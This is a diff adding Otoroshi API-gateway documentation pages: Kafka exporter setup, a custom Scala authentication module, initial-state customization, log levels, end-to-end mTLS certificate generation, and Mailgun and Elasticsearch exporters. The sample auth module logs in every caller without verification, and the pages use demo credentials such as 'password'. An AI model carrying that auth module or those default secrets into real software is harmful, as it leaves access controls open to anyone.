+      KAFKA_CFG_LISTENERS: 'INTERNAL://:9093,CLIENT://:9092'
+      KAFKA_INTER_BROKER_LISTENER_NAME: 'INTERNAL'
+      KAFKA_CFG_ADVERTISED_LISTENERS: 'INTERNAL://kafka:9093,CLIENT://kafka:9092'
+      KAFKA_CLIENT_USERS: 'user'
+      KAFKA_CLIENT_PASSWORDS: 'password'
+      KAFKA_CERTIFICATE_PASSWORD: 'otoroshi'
+      KAFKA_TLS_TYPE: 'JKS'
+      KAFKA_OPTS: "-Djava.security.auth.login.config=/opt/kafka/kafka_server_jaas.conf"
+    volumes:
+      - ./secrets/kafka_server_jaas.conf:/opt/kafka/kafka_server_jaas.conf
+      - ./truststore/kafka.truststore.jks:/opt/bitnami/kafka/config/certs/kafka.truststore.jks:ro
+      - ./keystore/kafka.keystore.jks:/opt/bitnami/kafka/config/certs/kafka.keystore.jks:ro
+
+

At this point, your repository should be

+
/tmp/kafka
+  | generate.sh
+  | docker-compose.yml
+  | truststore
+    | kafka.truststore.jks
+  | keystore 
+    | kafka.keystore.jks
+  | secrets 
+    | kafka_server_jaas.conf
+
+

Launch the command to create the zookeeper and kafka containers

+
docker-compose up -d
+
+

Create a new exporter on your Otoroshi instance with the following values

+
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/create-custom-auth-module.html b/docs/manual/how-to-s/create-custom-auth-module.html new file mode 100644 index 0000000000..370d82f20e --- /dev/null +++ b/docs/manual/how-to-s/create-custom-auth-module.html @@ -0,0 +1,589 @@ + + + + +Create your Authentication module · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Create your Authentication module

+

Authentication modules can be used to protect routes. In some cases, you need to create your own custom authentication module to create a new one or simply inherit and extend an exiting module.

+

You can write your own authentication using your favorite IDE. Just create an SBT project with the following dependencies. It can be quite handy to manage the source code like any other piece of code, and it avoid the compilation time for the script at Otoroshi startup.

+
lazy val root = (project in file(".")).
+  settings(
+    inThisBuild(List(
+      organization := "com.example",
+      scalaVersion := "2.12.7",
+      version      := "0.1.0-SNAPSHOT"
+    )),
+    name := "my-custom-auth-module",
+    libraryDependencies += "fr.maif" %% "otoroshi" % "1x.x.x"
+  )
+
+

Just below, you can find an example of Custom Auth. module.

+
package auth.custom
+
+import akka.http.scaladsl.util.FastFuture
+import otoroshi.auth.{AuthModule, AuthModuleConfig, Form, SessionCookieValues}
+import otoroshi.controllers.routes
+import otoroshi.env.Env
+import otoroshi.models._
+import otoroshi.security.IdGenerator
+import otoroshi.utils.JsonPathValidator
+import otoroshi.utils.syntax.implicits.BetterSyntax
+import play.api.http.MimeTypes
+import play.api.libs.json._
+import play.api.mvc._
+
+import scala.concurrent.{ExecutionContext, Future}
+import scala.util.{Failure, Success, Try}
+
+case class CustomModuleConfig(
+                               id: String,
+                               name: String,
+                               desc: String,
+                               clientSideSessionEnabled: Boolean,
+                               sessionMaxAge: Int = 86400,
+                               userValidators: Seq[JsonPathValidator] = Seq.empty,
+                               tags: Seq[String],
+                               metadata: Map[String, String],
+                               sessionCookieValues: SessionCookieValues,
+                               location: otoroshi.models.EntityLocation = otoroshi.models.EntityLocation(),
+                               form: Option[Form] = None,
+                               foo: String = "bar"
+                             ) extends AuthModuleConfig {
+  def `type`: String = "custom"
+  def humanName: String = "Custom Authentication"
+
+  override def authModule(config: GlobalConfig): AuthModule = CustomAuthModule(this)
+  override def withLocation(location: EntityLocation): AuthModuleConfig = copy(location = location)
+
+  lazy val format = new Format[CustomModuleConfig] {
+    override def writes(o: CustomModuleConfig): JsValue = o.asJson
+
+    override def reads(json: JsValue): JsResult[CustomModuleConfig] = Try {
+      CustomModuleConfig(
+        location = otoroshi.models.EntityLocation.readFromKey(json),
+        id = (json \ "id").as[String],
+        name = (json \ "name").as[String],
+        desc = (json \ "desc").asOpt[String].getOrElse("--"),
+        clientSideSessionEnabled = (json \ "clientSideSessionEnabled").asOpt[Boolean].getOrElse(true),
+        sessionMaxAge = (json \ "sessionMaxAge").asOpt[Int].getOrElse(86400),
+        metadata = (json \ "metadata").asOpt[Map[String, String]].getOrElse(Map.empty),
+        tags = (json \ "tags").asOpt[Seq[String]].getOrElse(Seq.empty[String]),
+        sessionCookieValues =
+          (json \ "sessionCookieValues").asOpt(SessionCookieValues.fmt).getOrElse(SessionCookieValues()),
+        userValidators = (json \ "userValidators")
+          .asOpt[Seq[JsValue]]
+          .map(_.flatMap(v => JsonPathValidator.format.reads(v).asOpt))
+          .getOrElse(Seq.empty),
+        form = (json \ "form").asOpt[JsValue].flatMap(json => Form._fmt.reads(json) match {
+          case JsSuccess(value, _) => Some(value)
+          case JsError(_) => None
+        }),
+        foo = (json \ "foo").asOpt[String].getOrElse("bar")
+      )
+    } match {
+      case Failure(exception) => JsError(exception.getMessage)
+      case Success(value) => JsSuccess(value)
+    }
+  }.asInstanceOf[Format[AuthModuleConfig]]
+
+  override def _fmt()(implicit env: Env): Format[AuthModuleConfig] = format
+
+  override def asJson =
+    location.jsonWithKey ++ Json.obj(
+      "type" -> "custom",
+      "id" -> this.id,
+      "name" -> this.name,
+      "desc" -> this.desc,
+      "clientSideSessionEnabled" -> this.clientSideSessionEnabled,
+      "sessionMaxAge" -> this.sessionMaxAge,
+      "metadata" -> this.metadata,
+      "tags" -> JsArray(tags.map(JsString.apply)),
+      "sessionCookieValues" -> SessionCookieValues.fmt.writes(this.sessionCookieValues),
+      "userValidators" -> JsArray(userValidators.map(_.json)),
+      "form" -> this.form.map(Form._fmt.writes),
+      "foo" -> foo
+    )
+
+  def save()(implicit ec: ExecutionContext, env: Env): Future[Boolean] = env.datastores.authConfigsDataStore.set(this)
+
+  override def cookieSuffix(desc: ServiceDescriptor) = s"custom-auth-$id"
+  def theDescription: String = desc
+  def theMetadata: Map[String, String] = metadata
+  def theName: String = name
+  def theTags: Seq[String] = tags
+}
+
+object CustomAuthModule {
+  def defaultConfig = CustomModuleConfig(
+    id = IdGenerator.namedId("auth_mod", IdGenerator.uuid),
+    name = "My custom auth. module",
+    desc = "My custom auth. module",
+    tags = Seq.empty,
+    metadata = Map.empty,
+    sessionCookieValues = SessionCookieValues(),
+    clientSideSessionEnabled = true,
+    form = None)
+}
+
+case class CustomAuthModule(authConfig: CustomModuleConfig) extends AuthModule {
+  def this() = this(CustomAuthModule.defaultConfig)
+
+  override def paLoginPage(request: RequestHeader, config: GlobalConfig, descriptor: ServiceDescriptor, isRoute: Boolean)
+                          (implicit ec: ExecutionContext, env: Env): Future[Result] = {
+    val redirect = request.getQueryString("redirect")
+    val hash = env.sign(s"${authConfig.id}:::${descriptor.id}")
+    env.datastores.authConfigsDataStore.generateLoginToken().flatMap { token =>
+      Results
+        .Ok(auth.custom.views.html.login(s"/privateapps/generic/callback?desc=${descriptor.id}&hash=$hash&route=${isRoute}", token))
+        .as(MimeTypes.HTML)
+        .addingToSession(
+          "ref"                                                     -> authConfig.id,
+          s"pa-redirect-after-login-${authConfig.cookieSuffix(descriptor)}" -> redirect.getOrElse(
+            routes.PrivateAppsController.home.absoluteURL(env.exposedRootSchemeIsHttps)(request)
+          )
+        )(request)
+        .future
+    }
+  }
+
+  override def paLogout(request: RequestHeader, user: Option[PrivateAppsUser], config: GlobalConfig, descriptor: ServiceDescriptor)
+                       (implicit ec: ExecutionContext, env: Env): Future[Either[Result, Option[String]]] = FastFuture.successful(Right(None))
+
+  override def paCallback(request: Request[AnyContent], config: GlobalConfig, descriptor: ServiceDescriptor)
+                         (implicit ec: ExecutionContext, env: Env): Future[Either[String, PrivateAppsUser]] = {
+      PrivateAppsUser(
+        randomId = IdGenerator.token(64),
+        name = "foo",
+        email = s"foo@oto.tools",
+        profile = Json.obj(
+          "name" -> "foo",
+          "email" -> s"foo@oto.tools"
+        ),
+        realm = authConfig.cookieSuffix(descriptor),
+        otoroshiData = None,
+        authConfigId = authConfig.id,
+        tags = Seq.empty,
+        metadata = Map.empty,
+        location = authConfig.location
+      )
+        .validate(authConfig.userValidators)
+        .vfuture
+  }
+
+  override def boLoginPage(request: RequestHeader, config: GlobalConfig)(implicit ec: ExecutionContext, env: Env): Future[Result] = ???
+
+  override def boLogout(request: RequestHeader, user: BackOfficeUser, config: GlobalConfig)(implicit ec: ExecutionContext, env: Env): Future[Either[Result, Option[String]]] = ???
+
+  override def boCallback(request: Request[AnyContent], config: GlobalConfig)(implicit ec: ExecutionContext, env: Env): Future[Either[String, BackOfficeUser]] = ???
+}
+
+

This custom Auth. module inherits from AuthModule (the Auth module have to inherit from the AuthModule trait to be found by Otoroshi). It exposes a simple UI to login, and create an user for each callback request without any verification. Methods starting with bo will be called in case that the auth. module is used on the back office and in other cases, the pa methods (pa for Private App) will be called to protect a route.

+

This custom Auth. module uses a Play template to display the login page. It’s not required by Otoroshi but it’s a easy way to create a login form.

+
@import otoroshi.env.Env
+
+@(action: String, token: String)
+
+<div id="app">
+    <h2>Login page</h2>
+
+    <form method="POST" action="@Html(action)">
+    <input type="hidden" name="token" className="form-control" value="@token" />
+    <button
+        type="submit">
+        Login
+    </button>
+    </form>
+</div>
+
+

Your hierarchy files should be something like:

+
auth
+| custom
+    |customModule.scala
+    | views
+      | login.scala.html
+
+

When your code is ready, create a jar file

+
sbt package
+
+

and add the jar file to the Otoroshi classpath

+
java -cp "/path/to/customModule.jar:$/path/to/otoroshi.jar" play.core.server.ProdServerStart
+
+

then, in the authentication modules, you can chose your custom module in the list.

+ +
+
+
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/custom-initial-state.html b/docs/manual/how-to-s/custom-initial-state.html new file mode 100644 index 0000000000..fdbfd9862a --- /dev/null +++ b/docs/manual/how-to-s/custom-initial-state.html @@ -0,0 +1,431 @@ + + + + +Initial state customization · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Initial state customization

+

when you start otoroshi for the first time, some basic entities will be created and stored in the datastore in order to make your instance work properly. However it might not be enough for your use case but you do want to bother with restoring a complete otoroshi export.

+

In order to make state customization easy, otoroshi provides the config. key otoroshi.initialCustomization, overriden by the env. variable OTOROSHI_INITIAL_CUSTOMIZATION

+

The expected structure is the following :

+
{
+  "config": { ... },
+  "admins": [],
+  "simpleAdmins": [],
+  "serviceGroups": [],
+  "apiKeys": [],
+  "serviceDescriptors": [],
+  "errorTemplates": [],
+  "jwtVerifiers": [],
+  "authConfigs": [],
+  "certificates": [],
+  "clientValidators": [],
+  "scripts": [],
+  "tcpServices": [],
+  "dataExporters": [],
+  "tenants": [],
+  "teams": []
+}
+
+

in this structure, everything is optional. For every array property, items will be added to the datastore. For the global config. object, you can just add the parts that you need, and they will be merged with the existing config. object of the datastore.

+

Customize the global config.

+

for instance, if you want to customize the behavior of the TLS termination, you can use the following :

+
export OTOROSHI_INITIAL_CUSTOMIZATION='{"config":{"tlsSettings":{"defaultDomain":"www.foo.bar","randomIfNotFound":false}}'
+
+

Customize entities

+

if you want to add apikeys at first boot

+
export OTOROSHI_INITIAL_CUSTOMIZATION='{"apikeys":[{"_loc":{"tenant":"default","teams":["default"]},"clientId":"ksVlQ2KlZm0CnDfP","clientSecret":"usZYbE1iwSsbpKY45W8kdbZySj1M5CWvFXe0sPbZ0glw6JalMsgorDvSBdr2ZVBk","clientName":"awesome-apikey","description":"the awesome apikey","authorizedGroup":"default","authorizedEntities":["group_default"],"enabled":true,"readOnly":false,"allowClientIdOnly":false,"throttlingQuota":10000000,"dailyQuota":10000000,"monthlyQuota":10000000,"constrainedServicesOnly":false,"restrictions":{"enabled":false,"allowLast":true,"allowed":[],"forbidden":[],"notFound":[]},"rotation":{"enabled":false,"rotationEvery":744,"gracePeriod":168,"nextSecret":null},"validUntil":null,"tags":[],"metadata":{}}]}'
+
+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/custom-log-levels.html b/docs/manual/how-to-s/custom-log-levels.html new file mode 100644 index 0000000000..5c25bc5733 --- /dev/null +++ b/docs/manual/how-to-s/custom-log-levels.html @@ -0,0 +1,589 @@ + + + + +Log levels customization · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Log levels customization

+

If you want to customize the log level of your otoroshi instances, it’s pretty easy to do it using environment variables or configuration file.

+

Customize log level for one logger with configuration file

+

Let say you want to see DEBUG messages from the logger otoroshi-http-handler.

+

Then you just have to declare in your otoroshi configuration file

+
otoroshi.loggers {
+  ...
+  otoroshi-http-handler = "DEBUG"
+  ...
+}
+
+

possible levels are TRACE, DEBUG, INFO, WARN, ERROR, OFF. Default one is WARN.

+

Customize log level for one logger with environment variable

+

Let say you want to see DEBUG messages from the logger otoroshi-http-handler.

+

Then you just have to declare an environment variable named OTOROSHI_LOGGERS_OTOROSHI_HTTP_HANDLER with value DEBUG. The rule is

+
"OTOROSHI_LOGGERS_" + loggerName.toUpperCase().replace("-", "_")
+
+

possible levels are TRACE, DEBUG, INFO, WARN, ERROR, OFF. Default one is WARN.

+

List of loggers

+ + +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/end-to-end-mtls.html b/docs/manual/how-to-s/end-to-end-mtls.html new file mode 100644 index 0000000000..77e61b4f7b --- /dev/null +++ b/docs/manual/how-to-s/end-to-end-mtls.html @@ -0,0 +1,691 @@ + + + + +End-to-end mTLS · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

End-to-end mTLS

+

If you want to use MTLS on otoroshi, you first need to enable it. It is not enabled by default as it will make TLS handshake way heavier. To enable it just change the following config :

+
otoroshi.ssl.fromOutside.clientAuth=None|Want|Need
+
+

or using env. variables

+
SSL_OUTSIDE_CLIENT_AUTH=None|Want|Need
+
+

You can use the Want setup if you cant to have both mtls on some services and no mtls on other services.

+

You can also change the trusted CA list sent in the handshake certificate request from the Danger Zone in Tls Settings.

+

Otoroshi support mutual TLS out of the box. mTLS from client to Otoroshi and from Otoroshi to targets are supported. In this article we will see how to configure Otoroshi to use end-to-end mTLS. All code and files used in this articles can be found on the Otoroshi github

+

Create certificates

+

But first we need to generate some certificates to make the demo work

+
mkdir mtls-demo
+cd mtls-demo
+mkdir ca
+mkdir server
+mkdir client
+
+# create a certificate authority key, use password as pass phrase
+openssl genrsa -out ./ca/ca-backend.key 4096
+# remove pass phrase
+openssl rsa -in ./ca/ca-backend.key -out ./ca/ca-backend.key
+# generate the certificate authority cert
+openssl req -new -x509 -sha256 -days 730 -key ./ca/ca-backend.key -out ./ca/ca-backend.cer -subj "/CN=MTLSB"
+
+
+# create a certificate authority key, use password as pass phrase
+openssl genrsa -out ./ca/ca-frontend.key 2048
+# remove pass phrase
+openssl rsa -in ./ca/ca-frontend.key -out ./ca/ca-frontend.key
+# generate the certificate authority cert
+openssl req -new -x509 -sha256 -days 730 -key ./ca/ca-frontend.key -out ./ca/ca-frontend.cer -subj "/CN=MTLSF"
+
+
+# now create the backend cert key, use password as pass phrase
+openssl genrsa -out ./server/_.backend.oto.tools.key 2048
+# remove pass phrase
+openssl rsa -in ./server/_.backend.oto.tools.key -out ./server/_.backend.oto.tools.key
+# generate the csr for the certificate
+openssl req -new -key ./server/_.backend.oto.tools.key -sha256 -out ./server/_.backend.oto.tools.csr -subj "/CN=*.backend.oto.tools"
+# generate the certificate
+openssl x509 -req -days 365 -sha256 -in ./server/_.backend.oto.tools.csr -CA ./ca/ca-backend.cer -CAkey ./ca/ca-backend.key -set_serial 1 -out ./server/_.backend.oto.tools.cer
+# verify the certificate, should output './server/_.backend.oto.tools.cer: OK'
+openssl verify -CAfile ./ca/ca-backend.cer ./server/_.backend.oto.tools.cer
+
+
+# now create the frontend cert key, use password as pass phrase
+openssl genrsa -out ./server/_.frontend.oto.tools.key 2048
+# remove pass phrase
+openssl rsa -in ./server/_.frontend.oto.tools.key -out ./server/_.frontend.oto.tools.key
+# generate the csr for the certificate
+openssl req -new -key ./server/_.frontend.oto.tools.key -sha256 -out ./server/_.frontend.oto.tools.csr -subj "/CN=*.frontend.oto.tools"
+# generate the certificate
+openssl x509 -req -days 365 -sha256 -in ./server/_.frontend.oto.tools.csr -CA ./ca/ca-frontend.cer -CAkey ./ca/ca-frontend.key -set_serial 1 -out ./server/_.frontend.oto.tools.cer
+# verify the certificate, should output './server/_.frontend.oto.tools.cer: OK'
+openssl verify -CAfile ./ca/ca-frontend.cer ./server/_.frontend.oto.tools.cer
+
+
+# now create the client cert key for backend, use password as pass phrase
+openssl genrsa -out ./client/_.backend.oto.tools.key 2048
+# remove pass phrase
+openssl rsa -in ./client/_.backend.oto.tools.key -out ./client/_.backend.oto.tools.key
+# generate the csr for the certificate
+openssl req -new -key ./client/_.backend.oto.tools.key -out ./client/_.backend.oto.tools.csr -subj "/CN=*.backend.oto.tools"
+# generate the certificate
+openssl x509 -req -days 365 -sha256 -in ./client/_.backend.oto.tools.csr -CA ./ca/ca-backend.cer -CAkey ./ca/ca-backend.key -set_serial 2 -out ./client/_.backend.oto.tools.cer
+# generate a pem version of the cert and key, use password as password
+openssl x509 -in client/_.backend.oto.tools.cer -out client/_.backend.oto.tools.pem -outform PEM
+
+
+# now create the client cert key for frontend, use password as pass phrase
+openssl genrsa -out ./client/_.frontend.oto.tools.key 2048
+# remove pass phrase
+openssl rsa -in ./client/_.frontend.oto.tools.key -out ./client/_.frontend.oto.tools.key
+# generate the csr for the certificate
+openssl req -new -key ./client/_.frontend.oto.tools.key -out ./client/_.frontend.oto.tools.csr -subj "/CN=*.frontend.oto.tools"
+# generate the certificate
+openssl x509 -req -days 365 -sha256 -in ./client/_.frontend.oto.tools.csr -CA ./ca/ca-frontend.cer -CAkey ./ca/ca-frontend.key -set_serial 2 -out ./client/_.frontend.oto.tools.cer
+# generate a pkcs12 version of the cert and key, use password as password
+# openssl pkcs12 -export -clcerts -in client/_.frontend.oto.tools.cer -inkey client/_.frontend.oto.tools.key -out client/_.frontend.oto.tools.p12
+openssl x509 -in client/_.frontend.oto.tools.cer -out client/_.frontend.oto.tools.pem -outform PEM
+
+

Once it’s done, you should have something like

+
$ tree
+.
+├── backend.js
+├── ca
+│   ├── ca-backend.cer
+│   ├── ca-backend.key
+│   ├── ca-frontend.cer
+│   └── ca-frontend.key
+├── client
+│   ├── _.backend.oto.tools.cer
+│   ├── _.backend.oto.tools.csr
+│   ├── _.backend.oto.tools.key
+│   ├── _.backend.oto.tools.pem
+│   ├── _.frontend.oto.tools.cer
+│   ├── _.frontend.oto.tools.csr
+│   ├── _.frontend.oto.tools.key
+│   └── _.frontend.oto.tools.pem
+└── server
+    ├── _.backend.oto.tools.cer
+    ├── _.backend.oto.tools.csr
+    ├── _.backend.oto.tools.key
+    ├── _.frontend.oto.tools.cer
+    ├── _.frontend.oto.tools.csr
+    └── _.frontend.oto.tools.key
+
+3 directories, 18 files
+
+

The backend service

+

now, let’s create a backend service using nodejs. Create a file named backend.js

+
touch backend.js
+
+

and put the following content

+
const fs = require('fs'); 
+const https = require('https'); 
+
+const options = { 
+  key: fs.readFileSync('./server/_.backend.oto.tools.key'), 
+  cert: fs.readFileSync('./server/_.backend.oto.tools.cer'), 
+  ca: fs.readFileSync('./ca/ca-backend.cer'), 
+}; 
+
+const server = https.createServer(options, (req, res) => { 
+  res.writeHead(200, {
+    'Content-Type': 'application/json'
+  }); 
+  res.end(JSON.stringify({ message: 'Hello World!' }) + "\n"); 
+}).listen(8444);
+
+console.log('Server listening:', `http://localhost:${server.address().port}`);
+
+

to run the server, just do

+
node ./backend.js
+
+

now you can try your server with

+
curl --cacert ./ca/ca-backend.cer 'https://api.backend.oto.tools:8444/'
+
+

This should output :

+
{ "message": "Hello World!" }
+
+

now modify your backend server to ensure that the client provides a client certificate like:

+
const fs = require('fs'); 
+const https = require('https'); 
+
+const options = { 
+  key: fs.readFileSync('./server/_.backend.oto.tools.key'), 
+  cert: fs.readFileSync('./server/_.backend.oto.tools.cer'), 
+  ca: fs.readFileSync('./ca/ca-backend.cer'), 
+  requestCert: true, 
+  rejectUnauthorized: true
+}; 
+
+const server = https.createServer(options, (req, res) => { 
+  console.log('Client certificate CN: ', req.socket.getPeerCertificate().subject.CN);
+  res.writeHead(200, {
+    'Content-Type': 'application/json'
+  }); 
+  res.end(JSON.stringify({ message: 'Hello World!' }) + "\n"); 
+}).listen(8444);
+
+console.log('Server listening:', `http://localhost:${server.address().port}`);
+
+

you can test your new server with

+
curl \
+  --cacert ./ca/ca-backend.cer \
+  --cert ./client/_.backend.oto.tools.pem \
+  --key ./client/_.backend.oto.tools.key 'https://api.backend.oto.tools:8444/'
+
+

the output should be :

+
{ "message": "Hello World!" }
+
+

Otoroshi setup

+

Download the latest version of the Otoroshi jar and run it like

+
 java \
+  -Dotoroshi.adminPassword=password \
+  -Dotoroshi.ssl.fromOutside.clientAuth=Want \
+  -jar -Dotoroshi.storage=file otoroshi.jar
+
+[info] otoroshi-env - Admin API exposed on http://otoroshi-api.oto.tools:8080
+[info] otoroshi-env - Admin UI  exposed on http://otoroshi.oto.tools:8080
+[info] otoroshi-in-memory-datastores - Now using InMemory DataStores
+[info] otoroshi-env - The main datastore seems to be empty, registering some basic services
+[info] otoroshi-env - You can log into the Otoroshi admin console with the following credentials: admin@otoroshi.io / password
+[info] play.api.Play - Application started (Prod)
+[info] p.c.s.AkkaHttpServer - Listening for HTTP on /0:0:0:0:0:0:0:0:8080
+[info] p.c.s.AkkaHttpServer - Listening for HTTPS on /0:0:0:0:0:0:0:0:8443
+[info] otoroshi-env - Generating a self signed SSL certificate for https://*.oto.tools ...
+
+

and log into otoroshi with the tuple admin@otoroshi.io / password displayed in the logs.

+

Once logged in, navigate to the routes page and create a new route.

+
    +
  • Set a name then validate the creation
  • +
  • On frontend node, add api.frontend.oto.tools in the list of domains
  • +
  • On backend node, replace the target with api.backend.oto.tools as hostname and 8444 as port.
  • +
+

Save the route and try to call it.

+
curl 'http://api.frontend.oto.tools:8080/'
+
+

This should output :

+
{"Otoroshi-Error": "Something went wrong, you should try later. Thanks for your understanding."}
+
+

you should get an error due to the fact that Otoroshi doesn’t know about the server certificate and the client certificate expected by the server.

+

We must declare the client and server certificates for https://api.backend.oto.tools to Otoroshi.

+

Go to the certificates page and create a new item. Drag and drop the content of the ./client/_.backend.oto.tools.cer and ./client/_.backend.oto.tools.key files, respectively in Certificate full chain and Certificate private key.

+

If you prefer to use the API, you can create an Otoroshi certificate automatically from a PEM bundle.

+
cat ./server/_.backend.oto.tools.cer ./ca/ca-backend.cer ./server/_.backend.oto.tools.key | curl \
+  -H 'Content-Type: text/plain' -X POST \
+  --data-binary @- \
+  -u admin-api-apikey-id:admin-api-apikey-secret \
+  http://otoroshi-api.oto.tools:8080/api/certificates/_bundle 
+
+

now we have to expose https://api.frontend.oto.tools:8443 using otoroshi.

+

Create a second item. Copy and paste the content of ./server/_.frontend.oto.tools.cer and ./server/_.frontend.oto.tools.key respectively in Certificate full chain and Certificate private key.

+

If you don’t want to bother with UI copy/paste, you can use the import bundle api endpoint to create an otoroshi certificate automatically from a PEM bundle.

+
cat ./server/_.frontend.oto.tools.cer ./ca/ca-frontend.cer ./server/_.frontend.oto.tools.key | curl \
+  -H 'Content-Type: text/plain' -X POST \
+  -u admin-api-apikey-id:admin-api-apikey-secret \
+  --data-binary @- \
+  http://otoroshi-api.oto.tools:8080/api/certificates/_bundle
+
+

Once created, go back to your route. On the target of the backend node, we have to enable the custom Otoroshi TLS.

+
    +
  • Click on the backend node
  • +
  • Click on your target
  • +
  • Click on the Show advanced settings button
  • +
  • Click on Custom TLS setup
  • +
  • Enable the section
  • +
  • In the list of certificates, select the backend certificate
  • +
  • In the list of trusted certificates, select the frontend certificate
  • +
  • Save your route
  • +
+

Try the following command

+
curl --cacert ./ca/ca-frontend.cer 'https://api.frontend.oto.tools:8443/'
+
+

the output should be

+
{"message":"Hello World!"}
+
+

Now we want to enforce the fact that we want client certificate for api.frontend.oto.tools.

+

Search in the list of plugins and add the Client Certificate Only plugin to your route.

+

now if you retry

+
curl --cacert ./ca/ca-frontend.cer 'https://api.frontend.oto.tools:8443/'
+
+

the output should be

+
{"Otoroshi-Error":"bad request"}
+
+

you should get an error because no client certificate is passed with the request. But if you pass the ./client/_.frontend.oto.tools.csr client cert and the key in your curl call

+
curl 'https://api.frontend.oto.tools:8443' \
+  --cacert ./ca/ca-frontend.cer \
+  --cert ./client/_.frontend.oto.tools.pem \
+  --key ./client/_.frontend.oto.tools.key
+
+

the output should be

+
{"message":"Hello World!"}
+
+

Client certificate matching plugin

+

Otoroshi can restrict and check all incoming client certificates on a route.

+

Search in the list of plugins the Client certificate matching plugin and add it the the flow.

+

Save the route and retry your call again.

+
curl 'https://api.frontend.oto.tools:8443' \
+  --cacert ./ca/ca-frontend.cer \
+  --cert ./client/_.frontend.oto.tools.pem \
+  --key ./client/_.frontend.oto.tools.key
+
+

the output should be

+
{"Otoroshi-Error":"bad request"}
+
+

Our client certificate is not matched by Otoroshi. We have to add the subject DN in the configuration of the Client certificate matching plugin to authorize it.

+
{
+  "HasClientCertMatchingValidator": {
+    "serialNumbers": [],
+    "subjectDNs": [
+      "CN=*.frontend.oto.tools"
+    ],
+    "issuerDNs": [],
+    "regexSubjectDNs": [],
+    "regexIssuerDNs": []
+  }
+}
+
+

Save the service and retry your call again.

+
curl 'https://api.frontend.oto.tools:8443' \
+  --cacert ./ca/ca-frontend.cer \
+  --cert ./client/_.frontend.oto.tools.pem \
+  --key ./client/_.frontend.oto.tools.key
+
+

the output should be

+
{"message":"Hello World!"}
+
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/export-alerts-using-mailgun.html b/docs/manual/how-to-s/export-alerts-using-mailgun.html new file mode 100644 index 0000000000..45abcd13cd --- /dev/null +++ b/docs/manual/how-to-s/export-alerts-using-mailgun.html @@ -0,0 +1,438 @@ + + + + +Send alerts using mailgun · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Send alerts using mailgun

+

All Otoroshi alerts can be send on different channels. One of the ways is to send a group of specific alerts via emails.

+

To enable this behaviour, let’s start by create an exporter of events.

+

In this tutorial, we will admit that you already have a mailgun account with an API key and a domain.

+

Create an Mailgun exporter

+

Let’s create an exporter. The exporter will export by default all events generated by Otoroshi.

+
    +
  1. Go ahead, and navigate to http://otoroshi.oto.tools:8080
  2. +
  3. Click on the cog icon on the top right
  4. +
  5. Then Exporters button
  6. +
  7. And add a new configuration when clicking on the Add item button
  8. +
  9. Select the mailer in the type selector field
  10. +
  11. Jump to Exporter config and select the Mailgun option
  12. +
  13. Set the following values:
  14. +
+
    +
  • EU : false/true depending on your mailgun configuratin
  • +
  • Mailgun api key : your-mailgun-api-key
  • +
  • Mailgun domain : your-mailgun-domain
  • +
  • Email addresses : list of the recipient adresses
  • +
+

With this configuration, all Otoroshi events will be send to your listed addresses (we don’t recommended to do that).

+

To filter events on Alerts type, we need to add the following configuration inside the Filtering and projection section (if you want to deep learn about this section, read this part).

+
{
+    "include": [
+        { "@type": "AlertEvent" }
+    ],
+    "exclude": []
+}
+
+

Save at the bottom page and enable the exporter (on the top of the page or in list of exporters). We will need to wait few seconds to receive the first alerts.

+

The projection field can be useful in the case you want to filter the fields contained in each alert sent.

+

The Projection field is a json where you can list the fields to keep for each alert.

+
{
+ "@type": true,
+ "@timestamp": true,
+ "@id": true
+}
+
+

With this example, only @type, @timestamp and @id will be sent to the addresses of your recipients.

+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/export-events-to-elastic.html b/docs/manual/how-to-s/export-events-to-elastic.html new file mode 100644 index 0000000000..42ca8107a8 --- /dev/null +++ b/docs/manual/how-to-s/export-events-to-elastic.html @@ -0,0 +1,506 @@ + + + + +Export events to Elasticsearch · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Export events to Elasticsearch

+

Before you start

If you already have an up and running otoroshi instance, you can skip the following instructions

+
+Set up an Otoroshi + +
+

Let’s start by downloading the latest Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

then you can run start Otoroshi :

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with admin@otoroshi.io/password

+

Create a new route, exposed on http://myservice.oto.tools:8080, which will forward all requests to the mirror https://mirror.otoroshi.io. Each call to this service will returned the body and the headers received by the mirror.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "my-service",
+  "frontend": {
+    "domains": ["myservice.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  }
+}
+EOF
+
+
+

Deploy a Elasticsearch and kibana stack on Docker

+

